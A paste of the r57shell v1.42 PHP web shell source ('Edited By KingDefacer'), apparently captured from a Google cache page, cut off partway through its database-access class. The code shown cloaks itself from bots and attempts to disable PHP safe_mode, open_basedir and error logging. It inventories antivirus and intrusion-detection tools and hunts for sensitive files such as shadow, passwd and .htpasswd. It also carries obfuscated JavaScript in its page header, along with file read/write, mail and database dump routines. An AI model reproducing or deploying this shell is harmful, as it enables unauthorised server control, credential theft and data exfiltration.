· 10 years ago · Jun 18, 2016, 06:24 PM
1Esta es la versión en caché de http://www.c99php.com/shell/r57.txt de Google. Se trata de una captura de pantalla de la página tal como esta se mostraba el 18 Jun 2016 02:08:14 GMT.
2Es posible que la página haya sufrido modificaciones durante este tiempo. Más información
3Sugerencia: para encontrar rápidamente tu término de búsqueda en esta página, pulsa Ctrl+F o ⌘-F (Mac) y utiliza la barra de búsqueda.
4<?php
5
6
7
8if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
9
10
11
12$language='eng';
13
14
15
16$auth = 0;
17
18
19
20$name='';
21
22$pass='';
23
24
25
26//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
27
28@setlocale(LC_ALL,'ru_RU.cp1251');
29
30
31
32@ini_restore("safe_mode");
33
34@ini_restore("open_basedir");
35
36@ini_restore("safe_mode_include_dir");
37
38@ini_restore("safe_mode_exec_dir");
39
40@ini_restore("disable_functions");
41
42@ini_restore("allow_url_fopen");
43
44
45
46if(@function_exists('ini_set'))
47
48 {
49
50 @ini_set('error_log',NULL);
51
52 @ini_set('log_errors',0);
53
54 @ini_set('file_uploads',1);
55
56 @ini_set('allow_url_fopen',1);
57
58 }
59
60else
61
62 {
63
64 @ini_alter('error_log',NULL);
65
66 @ini_alter('log_errors',0);
67
68 @ini_alter('file_uploads',1);
69
70 @ini_alter('allow_url_fopen',1);
71
72 }
73
74
75
76error_reporting(E_ALL);
77
78
79
80/* ??? ????? */
81
82$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
83
84$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
85
86$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
87
88$downloaders = array('wget','fetch','lynx','links','curl','get');
89
90
91
92/* ??? ?????? ???????? ???? ????? realpath() */
93
94//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
95
96//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
97
98//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
99
100//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
101
102//$chars_rlph = "_-.01234567890";
103
104$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
105
106
107
108$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
109
110'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
111
112'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
113
114'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
115
116
117
118/******************************************************************************************************/
119
120
121
122define("starttime",@getmicrotime());
123
124
125
126if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
127
128
129
130set_magic_quotes_runtime(0);
131
132@set_time_limit(0);
133
134if(@function_exists('ini_set'))
135
136 {
137
138 @ini_set('max_execution_time',0);
139
140 @ini_set('output_buffering',0);
141
142 }
143
144else
145
146 {
147
148 @ini_alter('max_execution_time',0);
149
150 @ini_alter('output_buffering',0);
151
152 }
153
154$safe_mode = @ini_get('safe_mode');
155
156#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
157
158$version = '1.42';
159
160if(@version_compare(@phpversion(), '4.1.0') == -1)
161
162 {
163
164 $_POST = &$HTTP_POST_VARS;
165
166 $_GET = &$HTTP_GET_VARS;
167
168 $_SERVER = &$HTTP_SERVER_VARS;
169
170 $_COOKIE = &$HTTP_COOKIE_VARS;
171
172 }
173
174if (@get_magic_quotes_gpc())
175
176 {
177
178 foreach ($_POST as $k=>$v)
179
180 {
181
182 $_POST[$k] = stripslashes($v);
183
184 }
185
186 foreach ($_COOKIE as $k=>$v)
187
188 {
189
190 $_COOKIE[$k] = stripslashes($v);
191
192 }
193
194 }
195
196
197
198if($auth == 1) {
199
200if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
201
202 {
203
204 header('WWW-Authenticate: Basic realm="HELLO!"');
205
206 header('HTTP/1.0 401 Unauthorized');
207
208 exit("<h1>Access Denied</h1>");
209
210 }
211
212}
213
214
215
216if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
217
218 $tempdir='./';
219
220 $select_tempdir = '<select name=tempdir><option value="./">./</option>';
221
222 foreach( $tempdirs as $item) {
223
224 if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
225
226 }
227
228 $select_tempdir .= '</select>';
229
230 setcookie('tempdir',$tempdir);
231
232 setcookie('select_tempdir',$select_tempdir);
233
234}else{
235
236 if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
237
238 $select_tempdir = $_COOKIE['select_tempdir'];
239
240}
241
242
243
244$head = '
245
246<html>
247<head>
248<title>r57shell v.1.42 - Edited By KingDefacer</title>
249<script type="text/javascript" language="javascript">
250<!--
251ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
252MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
253OT="";
254for(j=0;j<MI.length;j++){
255OT+=ML.charAt(MI.charCodeAt(j)-48);
256}document.write(OT);
257// --></script>
258<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
259<STYLE>
260
261tr {
262
263BORDER-RIGHT: #aaaaaa 1px solid;
264
265BORDER-TOP: #eeeeee 1px solid;
266
267BORDER-LEFT: #eeeeee 1px solid;
268
269BORDER-BOTTOM: #aaaaaa 1px solid;
270
271color: #000000;
272
273}
274
275td {
276
277BORDER-RIGHT: #aaaaaa 1px solid;
278
279BORDER-TOP: #eeeeee 1px solid;
280
281BORDER-LEFT: #eeeeee 1px solid;
282
283BORDER-BOTTOM: #aaaaaa 1px solid;
284
285color: #000000;
286
287}
288
289.table1 {
290
291BORDER: 0px;
292
293BACKGROUND-COLOR: #D4D0C8;
294
295color: #000000;
296
297}
298
299.td1 {
300
301BORDER: 0px;
302
303font: 7pt Verdana;
304
305color: #000000;
306
307}
308
309.tr1 {
310
311BORDER: 0px;
312
313color: #000000;
314
315}
316
317table {
318
319BORDER: #eeeeee 1px outset;
320
321BACKGROUND-COLOR: #D4D0C8;
322
323color: #000000;
324
325}
326
327input {
328
329BORDER-RIGHT: #ffffff 1px solid;
330
331BORDER-TOP: #999999 1px solid;
332
333BORDER-LEFT: #999999 1px solid;
334
335BORDER-BOTTOM: #ffffff 1px solid;
336
337BACKGROUND-COLOR: #e4e0d8;
338
339font: 8pt Verdana;
340
341color: #000000;
342
343}
344
345select {
346
347BORDER-RIGHT: #ffffff 1px solid;
348
349BORDER-TOP: #999999 1px solid;
350
351BORDER-LEFT: #999999 1px solid;
352
353BORDER-BOTTOM: #ffffff 1px solid;
354
355BACKGROUND-COLOR: #e4e0d8;
356
357font: 8pt Verdana;
358
359color: #000000;;
360
361}
362
363submit {
364
365BORDER: buttonhighlight 2px outset;
366
367BACKGROUND-COLOR: #e4e0d8;
368
369width: 30%;
370
371color: #000000;
372
373}
374
375textarea {
376
377BORDER-RIGHT: #ffffff 1px solid;
378
379BORDER-TOP: #999999 1px solid;
380
381BORDER-LEFT: #999999 1px solid;
382
383BORDER-BOTTOM: #ffffff 1px solid;
384
385BACKGROUND-COLOR: #e4e0d8;
386
387font: Fixedsys bold;
388
389color: #000000;
390
391}
392
393BODY {
394
395margin: 1px;
396
397color: #000000;
398
399background-color: #e4e0d8;
400
401}
402
403A:link {COLOR:red; TEXT-DECORATION: none}
404
405A:visited { COLOR:red; TEXT-DECORATION: none}
406
407A:active {COLOR:red; TEXT-DECORATION: none}
408
409A:hover {color:blue;TEXT-DECORATION: none}
410
411</STYLE>
412
413<script language=\'javascript\'>
414
415function hide_div(id)
416
417{
418
419 document.getElementById(id).style.display = \'none\';
420
421 document.cookie=id+\'=0;\';
422
423}
424
425function show_div(id)
426
427{
428
429 document.getElementById(id).style.display = \'block\';
430
431 document.cookie=id+\'=1;\';
432
433}
434
435function change_divst(id)
436
437{
438
439 if (document.getElementById(id).style.display == \'none\')
440
441 show_div(id);
442
443 else
444
445 hide_div(id);
446
447}
448
449
450
451
452
453</script>';
454
455class zipfile
456
457{
458
459 var $datasec = array();
460
461 var $ctrl_dir = array();
462
463 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
464
465 var $old_offset = 0;
466
467 function unix2DosTime($unixtime = 0) {
468
469 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
470
471 if ($timearray['year'] < 1980) {
472
473 $timearray['year'] = 1980;
474
475 $timearray['mon'] = 1;
476
477 $timearray['mday'] = 1;
478
479 $timearray['hours'] = 0;
480
481 $timearray['minutes'] = 0;
482
483 $timearray['seconds'] = 0;
484
485 }
486
487 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
488
489 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
490
491 }
492
493 function addFile($data, $name, $time = 0)
494
495 {
496
497 $name = str_replace('\\', '/', $name);
498
499 $dtime = dechex($this->unix2DosTime($time));
500
501 $hexdtime = '\x' . $dtime[6] . $dtime[7]
502
503 . '\x' . $dtime[4] . $dtime[5]
504
505 . '\x' . $dtime[2] . $dtime[3]
506
507 . '\x' . $dtime[0] . $dtime[1];
508
509 eval('$hexdtime = "' . $hexdtime . '";');
510
511 $fr = "\x50\x4b\x03\x04";
512
513 $fr .= "\x14\x00";
514
515 $fr .= "\x00\x00";
516
517 $fr .= "\x08\x00";
518
519 $fr .= $hexdtime;
520
521 $unc_len = strlen($data);
522
523 $crc = crc32($data);
524
525 $zdata = gzcompress($data);
526
527 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
528
529 $c_len = strlen($zdata);
530
531 $fr .= pack('V', $crc);
532
533 $fr .= pack('V', $c_len);
534
535 $fr .= pack('V', $unc_len);
536
537 $fr .= pack('v', strlen($name));
538
539 $fr .= pack('v', 0);
540
541 $fr .= $name;
542
543 $fr .= $zdata;
544
545 $this -> datasec[] = $fr;
546
547 $cdrec = "\x50\x4b\x01\x02";
548
549 $cdrec .= "\x00\x00";
550
551 $cdrec .= "\x14\x00";
552
553 $cdrec .= "\x00\x00";
554
555 $cdrec .= "\x08\x00";
556
557 $cdrec .= $hexdtime;
558
559 $cdrec .= pack('V', $crc);
560
561 $cdrec .= pack('V', $c_len);
562
563 $cdrec .= pack('V', $unc_len);
564
565 $cdrec .= pack('v', strlen($name) );
566
567 $cdrec .= pack('v', 0 );
568
569 $cdrec .= pack('v', 0 );
570
571 $cdrec .= pack('v', 0 );
572
573 $cdrec .= pack('v', 0 );
574
575 $cdrec .= pack('V', 32 );
576
577 $cdrec .= pack('V', $this -> old_offset );
578
579 $this -> old_offset += strlen($fr);
580
581 $cdrec .= $name;
582
583 $this -> ctrl_dir[] = $cdrec;
584
585 }
586
587 function file()
588
589 {
590
591 $data = implode('', $this -> datasec);
592
593 $ctrldir = implode('', $this -> ctrl_dir);
594
595 return
596
597 $data .
598
599 $ctrldir .
600
601 $this -> eof_ctrl_dir .
602
603 pack('v', sizeof($this -> ctrl_dir)) .
604
605 pack('v', sizeof($this -> ctrl_dir)) .
606
607 pack('V', strlen($ctrldir)) .
608
609 pack('V', strlen($data)) .
610
611 "\x00\x00";
612
613 }
614
615}
616
617
618
619function compress(&$filename,&$filedump,$compress)
620
621 {
622
623 global $content_encoding;
624
625 global $mime_type;
626
627 if ($compress == 'bzip' && @function_exists('bzcompress'))
628
629 {
630
631 $filename .= '.bz2';
632
633 $mime_type = 'application/x-bzip2';
634
635 $filedump = bzcompress($filedump);
636
637 }
638
639 else if ($compress == 'gzip' && @function_exists('gzencode'))
640
641 {
642
643 $filename .= '.gz';
644
645 $content_encoding = 'x-gzip';
646
647 $mime_type = 'application/x-gzip';
648
649 $filedump = gzencode($filedump);
650
651 }
652
653 else if ($compress == 'zip' && @function_exists('gzcompress'))
654
655 {
656
657 $filename .= '.zip';
658
659 $mime_type = 'application/zip';
660
661 $zipfile = new zipfile();
662
663 $zipfile -> addFile($filedump, substr($filename, 0, -4));
664
665 $filedump = $zipfile -> file();
666
667 }
668
669 else
670
671 {
672
673 $mime_type = 'application/octet-stream';
674
675 }
676
677 }
678
679
680
681function moreread($temp){
682
683global $lang,$language;
684
685$str='';
686
687 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
688
689 if($ffile){
690
691 while(!@feof($ffile)){$str .= @fgets($ffile);};
692
693 fclose($ffile);
694
695 }
696
697 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
698
699 if($ffile){
700
701 $str = @fread($ffile, @filesize($temp));
702
703 @fclose($ffile);
704
705 }
706
707 }elseif(@function_exists('file')&&($ffiles = @file($temp))){
708
709 foreach ($ffiles as $ffile) { $str .= $ffile; }
710
711 }elseif(@function_exists('file_get_contents')){
712
713 $str = @file_get_contents($temp);
714
715 }elseif(@function_exists('readfile')){
716
717 $str = @readfile($temp);
718
719 }elseif(@function_exists('highlight_file')){
720
721 $str = @highlight_file($temp);
722
723 }elseif(@function_exists('show_source')){
724
725 $str = @show_source($temp);
726
727 }else{echo $lang[$language.'_text56'];}
728
729return $str;
730
731}
732
733
734
735function readzlib($filename,$temp=''){
736
737global $lang,$language;
738
739$str='';
740
741 if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
742
743 if(@copy("compress.zlib://".$filename, $temp)) {
744
745 $str = moreread($temp);
746
747 } else echo $lang[$language.'_text119'];
748
749 @unlink($temp);
750
751return $str;
752
753}
754
755
756
757function morewrite($temp,$str='')
758
759{
760
761global $lang,$language;
762
763 if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
764
765 if($ffile){
766
767 @fwrite($ffile,$str);
768
769 @fclose($ffile);
770
771 }
772
773 }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
774
775 if($ffile){
776
777 @fputs($ffile,$str);
778
779 @fclose($ffile);
780
781 }
782
783 }elseif(@function_exists('file_put_contents')){
784
785 @file_put_contents($temp,$str);
786
787 }else return 0;
788
789return 1;
790
791}
792
793
794
795function mailattach($to,$from,$subj,$attach)
796
797 {
798
799 $headers = "From: $from\r\n";
800
801 $headers .= "MIME-Version: 1.0\r\n";
802
803 $headers .= "Content-Type: ".$attach['type'];
804
805 $headers .= "; name=\"".$attach['name']."\"\r\n";
806
807 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
808
809 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
810
811 if(mail($to,$subj,"",$headers)) { return 1; }
812
813 return 0;
814
815 }
816
817class my_sql
818
819 {
820
821 var $host = 'localhost';
822
823 var $port = '';
824
825 var $user = '';
826
827 var $pass = '';
828
829 var $base = '';
830
831 var $db = '';
832
833 var $connection;
834
835 var $res;
836
837 var $error;
838
839 var $rows;
840
841 var $columns;
842
843 var $num_rows;
844
845 var $num_fields;
846
847 var $dump;
848
849
850
851 function connect()
852
853 {
854
855 switch($this->db)
856
857 {
858
859 case 'MySQL':
860
861 if(empty($this->port)) { $this->port = '3306'; }
862
863 if(!@function_exists('mysql_connect')) return 0;
864
865 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
866
867 if(is_resource($this->connection)) return 1;
868
869 break;
870
871 case 'MSSQL':
872
873 if(empty($this->port)) { $this->port = '1433'; }
874
875 if(!@function_exists('mssql_connect')) return 0;
876
877 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
878
879 if($this->connection) return 1;
880
881 break;
882
883 case 'PostgreSQL':
884
885 if(empty($this->port)) { $this->port = '5432'; }
886
887 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
888
889 if(!@function_exists('pg_connect')) return 0;
890
891 $this->connection = @pg_connect($str);
892
893 if(is_resource($this->connection)) return 1;
894
895 break;
896
897 case 'Oracle':
898
899 if(!@function_exists('ocilogon')) return 0;
900
901 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
902
903 if(is_resource($this->connection)) return 1;
904
905 break;
906
907 case 'MySQLi':
908
909 if(empty($this->port)) { $this->port = '3306'; }
910
911 if(!@function_exists('mysqli_connect')) return 0;
912
913 $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
914
915 if(is_resource($this->connection)) return 1;
916
917 break;
918
919 case 'mSQL':
920
921 if(!@function_exists('msql_connect')) return 0;
922
923 $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
924
925 if(is_resource($this->connection)) return 1;
926
927 break;
928
929 case 'SQLite':
930
931 if(!@function_exists('sqlite_open')) return 0;
932
933 $this->connection = @sqlite_open($this->base);
934
935 if(is_resource($this->connection)) return 1;
936
937 break;
938
939 }
940
941 return 0;
942
943 }
944
945
946
947 function select_db()
948
949 {
950
951 switch($this->db)
952
953 {
954
955 case 'MySQL':
956
957 if(@mysql_select_db($this->base,$this->connection)) return 1;
958
959 break;
960
961 case 'MSSQL':
962
963 if(@mssql_select_db($this->base,$this->connection)) return 1;
964
965 break;
966
967 case 'PostgreSQL':
968
969 return 1;
970
971 break;
972
973 case 'Oracle':
974
975 return 1;
976
977 break;
978
979 case 'MySQLi':
980
981 return 1;
982
983 break;
984
985 case 'mSQL':
986
987 if(@msql_select_db($this->base,$this->connection)) return 1;
988
989 break;
990
991 case 'SQLite':
992
993 return 1;
994
995 break;
996
997 }
998
999 return 0;
1000
1001 }
1002
1003
1004
1005 function query($query)
1006
1007 {
1008
1009 $this->res=$this->error='';
1010
1011 switch($this->db)
1012
1013 {
1014
1015 case 'MySQL':
1016
1017 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
1018
1019 {
1020
1021 $this->error = @mysql_error($this->connection);
1022
1023 return 0;
1024
1025 }
1026
1027 else if(is_resource($this->res)) { return 1; }
1028
1029 return 2;
1030
1031 break;
1032
1033 case 'MSSQL':
1034
1035 if(false===($this->res=@mssql_query($query,$this->connection)))
1036
1037 {
1038
1039 $this->error = 'Query error';
1040
1041 return 0;
1042
1043 }
1044
1045 else if(@mssql_num_rows($this->res) > 0) { return 1; }
1046
1047 return 2;
1048
1049 break;
1050
1051 case 'PostgreSQL':
1052
1053 if(false===($this->res=@pg_query($this->connection,$query)))
1054
1055 {
1056
1057 $this->error = @pg_last_error($this->connection);
1058
1059 return 0;
1060
1061 }
1062
1063 else if(@pg_num_rows($this->res) > 0) { return 1; }
1064
1065 return 2;
1066
1067 break;
1068
1069 case 'Oracle':
1070
1071 if(false===($this->res=@ociparse($this->connection,$query)))
1072
1073 {
1074
1075 $this->error = 'Query parse error';
1076
1077 }
1078
1079 else
1080
1081 {
1082
1083 if(@ociexecute($this->res))
1084
1085 {
1086
1087 if(@ocirowcount($this->res) != 0) return 2;
1088
1089 return 1;
1090
1091 }
1092
1093 $error = @ocierror();
1094
1095 $this->error=$error['message'];
1096
1097 }
1098
1099 break;
1100
1101 case 'MySQLi':
1102
1103 if(false===($this->res=@mysqli_query($this->connection,$query)))
1104
1105 {
1106
1107 $this->error = @mysqli_error($this->connection);
1108
1109 return 0;
1110
1111 }
1112
1113 else if(is_resource($this->res)) { return 1; }
1114
1115 return 2;
1116
1117 break;
1118
1119 case 'mSQL':
1120
1121 if(false===($this->res=@msql_query($query,$this->connection)))
1122
1123 {
1124
1125 $this->error = @msql_error($this->connection);
1126
1127 return 0;
1128
1129 }
1130
1131 else if(is_resource($this->res)) { return 1; }
1132
1133 return 2;
1134
1135 break;
1136
1137 case 'SQLite':
1138
1139 if(false===($this->res=@sqlite_query($this->connection,$query)))
1140
1141 {
1142
1143 $this->error = @sqlite_error_string($this->connection);
1144
1145 return 0;
1146
1147 }
1148
1149 else if(is_resource($this->res)) { return 1; }
1150
1151 return 2;
1152
1153 break;
1154
1155 }
1156
1157 return 0;
1158
1159 }
1160
1161 function get_result()
1162
1163 {
1164
1165 $this->rows=array();
1166
1167 $this->columns=array();
1168
1169 $this->num_rows=$this->num_fields=0;
1170
1171 switch($this->db)
1172
1173 {
1174
1175 case 'MySQL':
1176
1177 $this->num_rows=@mysql_num_rows($this->res);
1178
1179 $this->num_fields=@mysql_num_fields($this->res);
1180
1181 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
1182
1183 @mysql_free_result($this->res);
1184
1185 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1186
1187 break;
1188
1189 case 'MSSQL':
1190
1191 $this->num_rows=@mssql_num_rows($this->res);
1192
1193 $this->num_fields=@mssql_num_fields($this->res);
1194
1195 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
1196
1197 @mssql_free_result($this->res);
1198
1199 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
1200
1201 break;
1202
1203 case 'PostgreSQL':
1204
1205 $this->num_rows=@pg_num_rows($this->res);
1206
1207 $this->num_fields=@pg_num_fields($this->res);
1208
1209 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
1210
1211 @pg_free_result($this->res);
1212
1213 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1214
1215 break;
1216
1217 case 'Oracle':
1218
1219 $this->num_fields=@ocinumcols($this->res);
1220
1221 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
1222
1223 @ocifreestatement($this->res);
1224
1225 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1226
1227 break;
1228
1229 case 'MySQLi':
1230
1231 $this->num_rows=@mysqli_num_rows($this->res);
1232
1233 $this->num_fields=@mysqli_num_fields($this->res);
1234
1235 while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
1236
1237 @mysqli_free_result($this->res);
1238
1239 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1240
1241 break;
1242
1243 case 'mSQL':
1244
1245 $this->num_rows=@msql_num_rows($this->res);
1246
1247 $this->num_fields=@msql_num_fields($this->res);
1248
1249 while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
1250
1251 @msql_free_result($this->res);
1252
1253 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1254
1255 break;
1256
1257 case 'SQLite':
1258
1259 $this->num_rows=@sqlite_num_rows($this->res);
1260
1261 $this->num_fields=@sqlite_num_fields($this->res);
1262
1263 while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
1264
1265 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
1266
1267 break;
1268
1269 }
1270
1271 return 0;
1272
1273 }
1274
1275 function dump($table)
1276
1277 {
1278
1279 if(empty($table)) return 0;
1280
1281 $this->dump=array();
1282
1283 $this->dump[0] = '##';
1284
1285 $this->dump[1] = '## --------------------------------------- ';
1286
1287 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
1288
1289 $this->dump[3] = '## Database: '.$this->base;
1290
1291 $this->dump[4] = '## Table: '.$table;
1292
1293 $this->dump[5] = '## --------------------------------------- ';
1294
1295 switch($this->db)
1296
1297 {
1298
1299 case 'MySQL':
1300
1301 $this->dump[0] = '## MySQL dump';
1302
1303 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
1304
1305 if(!$this->get_result()) return 0;
1306
1307 $this->dump[] = $this->rows[0]['Create Table'];
1308
1309 $this->dump[] = '## --------------------------------------- ';
1310
1311 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
1312
1313 if(!$this->get_result()) return 0;
1314
1315 for($i=0;$i<$this->num_rows;$i++)
1316
1317 {
1318
1319 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
1320
1321 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1322
1323 }
1324
1325 break;
1326
1327 case 'MSSQL':
1328
1329 $this->dump[0] = '## MSSQL dump';
1330
1331 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1332
1333 if(!$this->get_result()) return 0;
1334
1335 for($i=0;$i<$this->num_rows;$i++)
1336
1337 {
1338
1339 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1340
1341 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1342
1343 }
1344
1345 break;
1346
1347 case 'PostgreSQL':
1348
1349 $this->dump[0] = '## PostgreSQL dump';
1350
1351 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1352
1353 if(!$this->get_result()) return 0;
1354
1355 for($i=0;$i<$this->num_rows;$i++)
1356
1357 {
1358
1359 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1360
1361 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1362
1363 }
1364
1365 break;
1366
1367 case 'Oracle':
1368
1369 $this->dump[0] = '## ORACLE dump';
1370
1371 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1372
1373 if(!$this->get_result()) return 0;
1374
1375 for($i=0;$i<$this->num_rows;$i++)
1376
1377 {
1378
1379 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1380
1381 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1382
1383 }
1384
1385 break;
1386
1387 case 'MySQLi':
1388
1389 $this->dump[0] = '## MySQLi dump';
1390
1391 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1392
1393 if(!$this->get_result()) return 0;
1394
1395 for($i=0;$i<$this->num_rows;$i++)
1396
1397 {
1398
1399 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
1400
1401 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1402
1403 }
1404
1405 break;
1406
1407 case 'mSQL':
1408
1409 $this->dump[0] = '## mSQL dump';
1410
1411 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1412
1413 if(!$this->get_result()) return 0;
1414
1415 for($i=0;$i<$this->num_rows;$i++)
1416
1417 {
1418
1419 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1420
1421 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1422
1423 }
1424
1425 break;
1426
1427 case 'SQLite':
1428
1429 $this->dump[0] = '## SQLite dump';
1430
1431 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1432
1433 if(!$this->get_result()) return 0;
1434
1435 for($i=0;$i<$this->num_rows;$i++)
1436
1437 {
1438
1439 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1440
1441 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1442
1443 }
1444
1445 break;
1446
1447 default:
1448
1449 return 0;
1450
1451 break;
1452
1453 }
1454
1455 return 1;
1456
1457 }
1458
1459 function close()
1460
1461 {
1462
1463 switch($this->db)
1464
1465 {
1466
1467 case 'MySQL':
1468
1469 @mysql_close($this->connection);
1470
1471 break;
1472
1473 case 'MSSQL':
1474
1475 @mssql_close($this->connection);
1476
1477 break;
1478
1479 case 'PostgreSQL':
1480
1481 @pg_close($this->connection);
1482
1483 break;
1484
1485 case 'Oracle':
1486
1487 @oci_close($this->connection);
1488
1489 break;
1490
1491 case 'MySQLi':
1492
1493 @mysqli_close($this->connection);
1494
1495 break;
1496
1497 case 'mSQL':
1498
1499 @msql_close($this->connection);
1500
1501 break;
1502
1503 case 'SQLite':
1504
1505 @sqlite_close($this->connection);
1506
1507 break;
1508
1509 }
1510
1511 }
1512
1513 function affected_rows()
1514
1515 {
1516
1517 switch($this->db)
1518
1519 {
1520
1521 case 'MySQL':
1522
1523 return @mysql_affected_rows($this->res);
1524
1525 break;
1526
1527 case 'MSSQL':
1528
1529 return @mssql_affected_rows($this->res);
1530
1531 break;
1532
1533 case 'PostgreSQL':
1534
1535 return @pg_affected_rows($this->res);
1536
